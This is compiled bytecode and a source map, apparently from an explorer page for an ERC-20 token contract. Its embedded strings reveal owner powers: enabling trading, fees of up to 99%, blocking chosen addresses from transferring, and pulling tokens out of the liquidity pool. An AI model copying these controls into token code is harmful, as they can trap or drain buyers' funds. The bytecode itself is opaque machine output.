604051613ad69190614dd6565b60405180910390a3505050565b600080613aee613db4565b90508091505090565b6000613b023061179a565b90506000602154601f54602054613b199190614ec6565b613b239190614ec6565b9050600080831480613b355750600082145b15613b4257505050613c7d565b6014600c54613b519190614f4d565b831115613b6a576014600c54613b679190614f4d565b92505b600060028360205486613b7d9190614f4d565b613b879190614f1c565b613b919190614f1c565b90506000613ba88286613e5890919063ffffffff16565b90506000479050613bb882613ea2565b6000613bcd8247613e5890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613c2d90614a2e565b60006040518083038185875af1925050503d8060008114613c6a576040519150601f19603f3d011682016040523d82523d6000602084013e613c6f565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613cbb9190614a43565b60206040518083038186803b158015613cd357600080fd5b505afa158015613ce7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d0b91906144c1565b90506000613d246011548361277f90919063ffffffff16565b9050613d2f84614160565b613d415760008114613d4057600080fd5b5b600192505050919050565b60008083118290613d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d8a9190614a94565b60405180910390fd5b5060008385613da29190614f1c565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613e2f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613e53565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613e9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613555565b905092915050565b6000600267ffffffffffffffff811115613ee5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015613f135781602001602082028036833780820191505090505b5090503081600081518110613f51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613ff157600080fd5b505afa158015614005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140299190614293565b81600181518110614063577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140c8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846127e5565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161412a959493929190614df1565b600060405180830381600087803b15801561414457600080fd5b505af1158015614158573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000813590506141c681615888565b92915050565b6000815190506141db81615888565b92915050565b60008083601f8401126141f357600080fd5b8235905067ffffffffffffffff81111561420c57600080fd5b60208301915083602082028301111561422457600080fd5b9250929050565b60008135905061423a8161589f565b92915050565b60008135905061424f816158b6565b92915050565b600081519050614264816158b6565b92915050565b60006020828403121561427c57600080fd5b600061428a848285016141b7565b91505092915050565b6000602082840312156142a557600080fd5b60006142b3848285016141cc565b91505092915050565b600080604083850312156142cf57600080fd5b60006142dd858286016141b7565b92505060206142ee858286016141b7565b9150509250929050565b60008060006060848603121561430d57600080fd5b600061431b868287016141b7565b935050602061432c868287016141b7565b925050604061433d86828701614240565b9150509250925092565b6000806040838503121561435a57600080fd5b6000614368858286016141b7565b92505060206143798582860161422b565b9150509250929050565b6000806040838503121561439657600080fd5b60006143a4858286016141b7565b92505060206143b585828601614240565b9150509250929050565b6000806000604084860312156143d457600080fd5b600084013567ffffffffffffffff8111156143ee57600080fd5b6143fa868287016141e1565b9350935050602061440d8682870161422b565b9150509250925092565b60008060006040848603121561442c57600080fd5b600084013567ffffffffffffffff81111561444657600080fd5b614452868287016141e1565b9350935050602061446586828701614240565b9150509250925092565b60006020828403121561448157600080fd5b600061448f8482850161422b565b91505092915050565b6000602082840312156144aa57600080fd5b60006144b884828501614240565b91505092915050565b6000602082840312156144d357600080fd5b60006144e184828501614255565b91505092915050565b6000806000606084860312156144ff57600080fd5b600061450d86828701614240565b935050602061451e86828701614240565b925050604061452f8682870161422b565b9150509250925092565b60008060006060848603121561454e57600080fd5b600061455c86828701614240565b935050602061456d86828701614240565b925050604061457e86828701614240565b9150509250925092565b600061459483836145a0565b60208301905092915050565b6145a981614fdb565b82525050565b6145b881614fdb565b82525050565b60006145c982614e76565b6145d38185614e99565b93506145de83614e66565b8060005b8381101561460f5781516145f68882614588565b975061460183614e8c565b9250506001810190506145e2565b5085935050505092915050565b61462581614fed565b82525050565b61463481615030565b82525050565b61464381615054565b82525050565b600061465482614e81565b61465e8185614eb5565b935061466e818560208601615066565b614677816151a1565b840191505092915050565b600061468f602383614eb5565b915061469a826151b2565b604082019050919050565b60006146b2602283614eb5565b91506146bd82615201565b604082019050919050565b60006146d5601683614eb5565b91506146e082615250565b602082019050919050565b60006146f8602683614eb5565b915061470382615279565b604082019050919050565b600061471b602283614eb5565b9150614726826152c8565b604082019050919050565b600061473e603383614eb5565b915061474982615317565b604082019050919050565b6000614761601b83614eb5565b915061476c82615366565b602082019050919050565b6000614784602483614eb5565b915061478f8261538f565b604082019050919050565b60006147a7603683614eb5565b91506147b2826153de565b604082019050919050565b60006147ca601d83614eb5565b91506147d58261542d565b602082019050919050565b60006147ed603083614eb5565b91506147f882615456565b604082019050919050565b6000614810603583614eb5565b915061481b826154a5565b604082019050919050565b6000614833603583614eb5565b915061483e826154f4565b604082019050919050565b6000614856604983614eb5565b915061486182615543565b606082019050919050565b6000614879602183614eb5565b9150614884826155b8565b604082019050919050565b600061489c602083614eb5565b91506148a782615607565b602082019050919050565b60006148bf603283614eb5565b91506148ca82615630565b604082019050919050565b60006148e2602183614eb5565b91506148ed8261567f565b604082019050919050565b6000614905602a83614eb5565b9150614910826156ce565b604082019050919050565b6000614928602583614eb5565b91506149338261571d565b604082019050919050565b600061494b602083614eb5565b91506149568261576c565b602082019050919050565b600061496e600083614eaa565b915061497982615795565b600082019050919050565b6000614991602483614eb5565b915061499c82615798565b604082019050919050565b60006149b4601383614eb5565b91506149bf826157e7565b602082019050919050565b60006149d7601d83614eb5565b91506149e282615810565b602082019050919050565b60006149fa602f83614eb5565b9150614a0582615839565b604082019050919050565b614a1981615019565b82525050565b614a2881615023565b82525050565b6000614a3982614961565b9150819050919050565b6000602082019050614a5860008301846145af565b92915050565b6000602082019050614a73600083018461461c565b92915050565b6000602082019050614a8e600083018461462b565b92915050565b60006020820190508181036000830152614aae8184614649565b905092915050565b60006020820190508181036000830152614acf81614682565b9050919050565b60006020820190508181036000830152614aef816146a5565b9050919050565b60006020820190508181036000830152614b0f816146c8565b9050919050565b60006020820190508181036000830152614b2f816146eb565b9050919050565b60006020820190508181036000830152614b4f8161470e565b9050919050565b60006020820190508181036000830152614b6f81614731565b9050919050565b60006020820190508181036000830152614b8f81614754565b9050919050565b60006020820190508181036000830152614baf81614777565b9050919050565b60006020820190508181036000830152614bcf8161479a565b9050919050565b60006020820190508181036000830152614bef816147bd565b9050919050565b60006020820190508181036000830152614c0f816147e0565b9050919050565b60006020820190508181036000830152614c2f81614803565b9050919050565b60006020820190508181036000830152614c4f81614826565b9050919050565b60006020820190508181036000830152614c6f81614849565b9050919050565b60006020820190508181036000830152614c8f8161486c565b9050919050565b60006020820190508181036000830152614caf8161488f565b9050919050565b60006020820190508181036000830152614ccf816148b2565b9050919050565b60006020820190508181036000830152614cef816148d5565b9050919050565b60006020820190508181036000830152614d0f816148f8565b9050919050565b60006020820190508181036000830152614d2f8161491b565b9050919050565b60006020820190508181036000830152614d4f8161493e565b9050919050565b60006020820190508181036000830152614d6f81614984565b9050919050565b60006020820190508181036000830152614d8f816149a7565b9050919050565b60006020820190508181036000830152614daf816149ca565b9050919050565b60006020820190508181036000830152614dcf816149ed565b9050919050565b6000602082019050614deb6000830184614a10565b92915050565b600060a082019050614e066000830188614a10565b614e13602083018761463a565b8181036040830152614e2581866145be565b9050614e3460608301856145af565b614e416080830184614a10565b9695505050505050565b6000602082019050614e606000830184614a1f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614ed182615019565b9150614edc83615019565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f1157614f10615114565b5b828201905092915050565b6000614f2782615019565b9150614f3283615019565b925082614f4257614f41615143565b5b828204905092915050565b6000614f5882615019565b9150614f6383615019565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f9c57614f9b615114565b5b828202905092915050565b6000614fb282615019565b9150614fbd83615019565b925082821015614fd057614fcf615114565b5b828203905092915050565b6000614fe682614ff9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061503b82615042565b9050919050565b600061504d82614ff9565b9050919050565b600061505f82615019565b9050919050565b60005b83811015615084578082015181840152602081019050615069565b83811115615093576000848401525b50505050565b600060028204905060018216806150b157607f821691505b602082108114156150c5576150c4615172565b5b50919050565b60006150d682615019565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561510957615108615114565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b61589181614fdb565b811461589c57600080fd5b50565b6158a881614fed565b81146158b357600080fd5b50565b6158bf81615019565b81146158ca57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122075c6344cf7df6b7111dc5449a5620e818921c4faf9599189ead5b749cf2e18e164736f6c63430008030033

Deployed Bytecode Sourcemap

134:17399:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4119:100:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6285:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1861:64:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;203:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5238:108:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8064:157:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;577:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;678:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1376;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7053:233;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6936:355:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13924:223:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;261:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;760:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;721:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5081:92:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;865:32:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7700:218:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2199:93:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;321:28:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8383:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15207:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1227:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;943:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;980:93;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5409:127:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1466:148:4;;;;;;;;;;;;;:::i;:::-;;17077:447:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5696:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8229:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;534:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1116;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6676:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4924:155;;;;;;;;;;;;;:::i;:::-;;673:79:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;503:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1262:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5538:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4338:104:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1190:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12747:107:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;634:35:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1456:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16899:170;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1338:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7913:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8421:269:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;821:29:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5749:175:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8520:208:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2083:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7705:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;904:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7515:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6290:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7294:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4713:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1674:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;419:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5893:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1082:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5987:151:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;461:33:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5144:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1153:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1895:244:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1300:31:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;388:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15462:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4119:100:2;4173:13;4206:5;4199:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4119:100;:::o;6285:169::-;6368:4;6385:39;6394:12;:10;:12::i;:::-;6408:7;6417:6;6385:8;:39::i;:::-;6442:4;6435:11;;6285:169;;;;:::o;1861:64:0:-;;;;;;;;;;;;;;;;;;;;;;:::o;203:51::-;;;:::o;5238:108:2:-;5299:7;5326:12;;5319:19;;5238:108;:::o;8064:157:0:-;877:13:4;:11;:13::i;:::-;8171:9:0::1;;;;;;;;;;;8143:38;;8160:9;8143:38;;;;;;;;;;;;8204:9;8192;;:21;;;;;;;;;;;;;;;;;;8064:157:::0;:::o;577:50::-;;;;:::o;678:35::-;;;;:::o;1416:33::-;;;;:::o;1376:::-;;;;:::o;7053:233::-;877:13:4;:11;:13::i;:::-;7172:3:0::1;7166:4;7162:1;7146:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7145:30;;;;:::i;:::-;7135:6;:40;;7127:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;7271:6;7261;:17;;;;:::i;:::-;7238:20;:40;;;;7053:233:::0;:::o;6936:355:2:-;7076:4;7093:36;7103:6;7111:9;7122:6;7093:9;:36::i;:::-;7140:121;7149:6;7157:12;:10;:12::i;:::-;7171:89;7209:6;7171:89;;;;;;;;;;;;;;;;;:11;:19;7183:6;7171:19;;;;;;;;;;;;;;;:33;7191:12;:10;:12::i;:::-;7171:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7140:8;:121::i;:::-;7279:4;7272:11;;6936:355;;;;;:::o;13924:223:0:-;877:13:4;:11;:13::i;:::-;14021:9:0::1;14016:124;14040:10;;:17;;14036:1;:21;14016:124;;;14108:10;;14119:1;14108:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14084:44;;14093:13;;;;;;;;;;;14084:44;;;14123:4;14084:44;;;;;;:::i;:::-;;;;;;;;14059:3;;;;;:::i;:::-;;;;14016:124;;;;13924:223:::0;;;:::o;261:53::-;307:6;261:53;:::o;760:54::-;;;;:::o;721:32::-;;;;;;;;;;;;;:::o;5081:92:2:-;5139:5;5164:1;5157:8;;5081:92;:::o;865:32:0:-;;;;;;;;;;;;;:::o;7700:218:2:-;7788:4;7805:83;7814:12;:10;:12::i;:::-;7828:7;7837:50;7876:10;7837:11;:25;7849:12;:10;:12::i;:::-;7837:25;;;;;;;;;;;;;;;:34;7863:7;7837:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7805:8;:83::i;:::-;7906:4;7899:11;;7700:218;;;;:::o;2199:93:4:-;877:13;:11;:13::i;:::-;2277:7:::1;2269:5;;:15;;;;;;;;;;;;;;;;;;2199:93:::0;:::o;321:28:0:-;;;;;;;;;;;;;:::o;8383:125::-;8448:4;8472:19;:28;8492:7;8472:28;;;;;;;;;;;;;;;;;;;;;;;;;8465:35;;8383:125;;;:::o;15207:243::-;877:13:4;:11;:13::i;:::-;15295:9:0::1;15290:153;15314:8;;:15;;15310:1;:19;15290:153;;;15428:3;15351:61;:74;15413:8;;15422:1;15413:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15351:74;;;;;;;;;;;;;;;;:80;;;;;;;;;;;;;;;;;;15331:3;;;;;:::i;:::-;;;;15290:153;;;;15207:243:::0;;;:::o;1227:28::-;;;;:::o;943:30::-;;;;;;;;;;;;;:::o;980:93::-;;;;;;;;;;;;;;;;;;;;;;:::o;5409:127:2:-;5483:7;5510:9;:18;5520:7;5510:18;;;;;;;;;;;;;;;;5503:25;;5409:127;;;:::o;1466:148:4:-;877:13;:11;:13::i;:::-;1573:1:::1;1536:40;;1557:6;::::0;::::1;;;;;;;;1536:40;;;;;;;;;;;;1604:1;1587:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1466:148::o:0;17077:447:0:-;877:13:4;:11;:13::i;:::-;17231:3:0::1;17208:19;:26;;17200:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;17321:4;17309:8;:16;;:33;;;;;17341:1;17329:8;:13;;17309:33;17301:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17424:19;17406:15;:37;;;;17473:8;17454:16;:27;;;;17508:8;17492:13;;:24;;;;;;;;;;;;;;;;;;17077:447:::0;;;:::o;5696:127::-;5746:4;877:13:4;:11;:13::i;:::-;5778:5:0::1;5762:13;;:21;;;;;;;;;;;;;;;;;;5811:4;5804:11;;5696:127:::0;:::o;8229:144::-;877:13:4;:11;:13::i;:::-;8361:4:0::1;8319:31;:39;8351:6;8319:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8229:144:::0;;:::o;534:30::-;;;;;;;;;;;;;:::o;1116:::-;;;;:::o;6676:369::-;877:13:4;:11;:13::i;:::-;6810::0::1;6792:15;:31;;;;6852:13;6834:15;:31;;;;6888:7;6876:9;:19;;;;6957:9;;6939:15;;6921;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;6906:12;:60;;;;7001:2;6985:12;;:18;;6977:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6676:369:::0;;;:::o;4924:155::-;877:13:4;:11;:13::i;:::-;4995:4:0::1;4979:13;;:20;;;;;;;;;;;;;;;;;;5024:4;5010:11;;:18;;;;;;;;;;;;;;;;;;5056:15;5039:14;:32;;;;4924:155::o:0;673:79:4:-;711:7;738:6;;;;;;;;;;;731:13;;673:79;:::o;503:24:0:-;;;;;;;;;;;;;:::o;1262:31::-;;;;:::o;5538:101::-;877:13:4;:11;:13::i;:::-;5624:7:0::1;5610:11;;:21;;;;;;;;;;;;;;;;;;5538:101:::0;:::o;4338:104:2:-;4394:13;4427:7;4420:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4338:104;:::o;1190:24:0:-;;;;:::o;12747:107:2:-;877:13:4;:11;:13::i;:::-;12824:22:2::1;12830:7;12839:6;12824:5;:22::i;:::-;12747:107:::0;;:::o;634:35:0:-;;;;:::o;1456:27::-;;;;:::o;16899:170::-;16966:4;16989:61;:72;17051:9;16989:72;;;;;;;;;;;;;;;;;;;;;;;;;16982:79;;16899:170;;;:::o;1338:25::-;;;;:::o;7913:143::-;877:13:4;:11;:13::i;:::-;8007:41:0::1;8036:4;8042:5;8007:28;:41::i;:::-;7913:143:::0;;:::o;8421:269:2:-;8514:4;8531:129;8540:12;:10;:12::i;:::-;8554:7;8563:96;8602:15;8563:96;;;;;;;;;;;;;;;;;:11;:25;8575:12;:10;:12::i;:::-;8563:25;;;;;;;;;;;;;;;:34;8589:7;8563:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8531:8;:129::i;:::-;8678:4;8671:11;;8421:269;;;;:::o;821:29:0:-;;;;:::o;5749:175:2:-;5835:4;5852:42;5862:12;:10;:12::i;:::-;5876:9;5887:6;5852:9;:42::i;:::-;5912:4;5905:11;;5749:175;;;;:::o;8520:208:0:-;877:13:4;:11;:13::i;:::-;8657:15:0::1;;;;;;;;;;;8614:59;;8637:18;8614:59;;;;;;;;;;;;8702:18;8684:15;;:36;;;;;;;;;;;;;;;;;;8520:208:::0;:::o;2083:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;7705:200::-;877:13:4;:11;:13::i;:::-;7834:5:0::1;7800:25;:31;7826:4;7800:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7891:5;7857:40;;7885:4;7857:40;;;;;;;;;;;;7705:200:::0;;:::o;904:32::-;;;;;;;;;;;;;:::o;7515:182::-;877:13:4;:11;:13::i;:::-;7631:8:0::1;7600:19;:28;7620:7;7600:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7671:7;7655:34;;;7680:8;7655:34;;;;;;:::i;:::-;;;;;;;;7515:182:::0;;:::o;6290:378::-;877:13:4;:11;:13::i;:::-;6426::0::1;6407:16;:32;;;;6469:13;6450:16;:32;;;;6506:7;6493:10;:20;;;;6578:10;;6559:16;;6540;;:35;;;;:::i;:::-;:48;;;;:::i;:::-;6524:13;